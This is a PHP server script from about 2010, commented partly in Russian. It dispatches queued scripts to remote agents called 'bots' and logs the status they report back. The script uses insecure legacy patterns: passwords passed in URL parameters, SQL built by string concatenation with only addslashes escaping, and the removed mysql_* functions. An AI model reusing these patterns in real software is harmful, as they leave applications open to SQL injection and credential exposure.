<?php
/**
 * TBN - server script <get.php>
 * authors - TBN team:
 * Mike D'Morto ( MikeDM ) <MikeDMorto@gmail.com>
 * gemozlobin <gemozlobin@gmail.com>
 * last update date 2010.02.08 20:06
 *
 */

require_once 'config.php';

// clear srting
function stripQuotes($str)
{	$str = strval($str);
	if ( !get_magic_quotes_gpc() )
	{
		$str = addslashes($str);
	}
	return $str;
}


// act get task

function act_get($key){
  // Получаем имя бота, и выбираем его айдишник из базы
  if ( !array_key_exists('name', $_GET) || trim($_GET['name']) == '' )
  {
	 echo "err: name is null\n";
    exit(6);
  }
  $name = stripQuotes($_GET['name']);
  $query = " SELECT id from bots WHERE name='" . $name. "'" ;
  $res = mysql_query($query);
  if ($res == false || !($row = mysql_fetch_assoc($res)) )
  {
        echo "err: wrong name\n";
        exit(6);
  }
  $botId = $row['id'];

  // update last connect
  $query="UPDATE bots SET lastconnect=CURRENT_TIMESTAMP where id=".$botId;
  if ( !mysql_query($query) )
  {
    echo "err: mysql query update last connect for $name\n";
    exit(1);
  }

  // get count tasks;
  $query="SELECT count(bt.id)
  FROM bt
  LEFT JOIN bots ON (bt.id_bot = bots.id)
     LEFT JOIN tasks ON (bt.id_task = tasks.id)
     LEFT JOIN scripts ON (tasks.id_script = scripts.id)
     WHERE tasks.activ = true
     AND bots.id = $botId
     AND bt.state = 0
     AND bots.del=0
     AND bt.del=0
     AND tasks.del=0
     AND scripts.del=0";

  if( !($res = mysql_query($query)) )
  {
    echo mysql_error();
    echo "err: mysql query select count tasks for $name\n ";
    exit(1);
  }
  $task_con = mysql_fetch_row($res);
  $task_con = $task_con[0];

  // test count
  if( $task_con >0)
  {
    // задачи есть, отдаем первую по списку.
    // get id_tasks for botname;
	$query="SELECT `tasks`.`id`, `scripts`.`name`, `scripts`.`path`
			FROM bt
			LEFT JOIN bots ON (bt.id_bot = bots.id)
		    LEFT JOIN tasks ON (bt.id_task = tasks.id)
		    LEFT JOIN scripts ON (tasks.id_script = scripts.id)
	    	WHERE bots.id = $botId
	    	AND bt.state = 0
	    	AND tasks.activ = true
		AND bots.del=0
		AND bt.del=0
		AND tasks.del=0
    		AND scripts.del=0
	    	ORDER BY tasks.id ASC LIMIT 1";
	if( !($res=@mysql_query($query)) ){
	        echo "err: mysql query get first task\n";
	        exit(1);
	}
	$mtid="";
	$mtname="";
	$mtpath="";
	if ( ($row = mysql_fetch_row($res)) )
	{
		list($mtid,$mtname,$mtpath) = $row;
    }

	// заносим в лог событие получения задачи для этого бота
	$query="INSERT INTO logs (id_bot,act) VALUES($botId,'gettask_y')";
	if ( !mysql_query($query) )
	{
	        echo "err: mysql query insert log get task for $name\n";
	        exit(1);
	}
        // generate subscribe
	$msub=md5("$key$name");
	echo "ok\n$mtid\n$mtname\n$mtpath\n$msub\n";

  }else{
	// заносим в лог событие получения задачи для этого бота
	$query="INSERT INTO logs (id_bot,act) values($botId,'gettask_n')";
	if ( !mysql_query($query) )
	{
		echo "err: mysql query insert log get task for $name\n";
		exit(1);
	}
	// задач нету, отписываемся об этом агенту.
    echo "null\n";
  }
}

// act put log

function act_status(){

  // Получаем имя бота, и выбираем его айдишник из базы
  if ( !array_key_exists('name', $_GET) || trim($_GET['name']) == '' )
  {
    echo "err: name is null\n";
    exit(6);
  }
  $name = stripQuotes($_GET['name']);
  $query = " SELECT id from bots WHERE name='" . $name. "' AND bots.del=0 ";
  $res = mysql_query($query);
  if ($res == false)
  {
        echo "err: wrong name\n";
        exit(6);
  }
  $row = mysql_fetch_assoc($res);
  $botId = $row['id'];

  //получаем ид задачи
  if ( !array_key_exists('task', $_GET) || intval($_GET['task']) == 0 )
  {
    echo "err: id task is null\n";
    exit(6);
  }
  $taskId = intval($_GET['task']);

  //получаем статус
  if ( !array_key_exists('status', $_GET) )
  {
	echo "err: status is null\n";
    exit(6);
  }
  $status = intval($_GET['status']);

  //проверка специально вынесена в отдельную строку,
  //чтобы в дальнейшем было проще менять доступные статусы
  if ( $status > 3 || $status < 1 )
  {
    echo "err: set status error";
    exit(7);
  }

  // заносим в лог событие установки статуса для этого бота
  $query="INSERT INTO logs (id_bot,act) VALUES(".$botId .",'chstatus_".$status."')";
  if ( !mysql_query($query) )
  {
	echo "err: mysql query insert log get task for $name\n";
	exit(1);
  }

  $query="UPDATE bots set lastconnect=CURRENT_TIMESTAMP WHERE id=" . $botId;
  if ( !mysql_query($query) )
  {
    echo "err: mysql query update last connect for $name\n";
    exit(1);
  }

  // обновляем запись в бд для текущей задачи и текущей машины
  $query=" UPDATE bt
         SET state=".$status." , statedate=CURRENT_TIMESTAMP
         WHERE id_bot=".$botId." AND id_task=".$taskId;

  if ( !mysql_query($query) )
  {
    echo "err: mysql query update status\n";
    exit(1);
  }else{
    echo "ok\n";
  }

}



// main

// get login pass and validate
if ( !array_key_exists('login', $_GET) || $_GET['login']!=$mlogin)
{
        echo "err: login incorrect\n";
        exit(4);
}
if ( !array_key_exists('pass', $_GET) || $_GET['pass']!=$mpass)
{
        echo "err: password incorrect\n";
        exit(5);
}

//connect to db
if(!($db=@mysql_connect($db_addr, $db_login, $db_pass )))
{
	echo "err: connect to db\n";
    exit(1);
}
if( ! @mysql_select_db($db_name, $db) )
{
    echo "err: select db\n";
    exit(2);
}

// select action

if( !array_key_exists('act',$_GET) ){
    echo "err: action not set\n";
    exit(1);
}
if( stripQuotes($_GET['act']) == "get" ){
    act_get($serverkey);
}elseif( stripQuotes($_GET['act']) == "status" ){
    act_status();
}else{
    echo "err: action is error\n";
    exit(1);
}


?>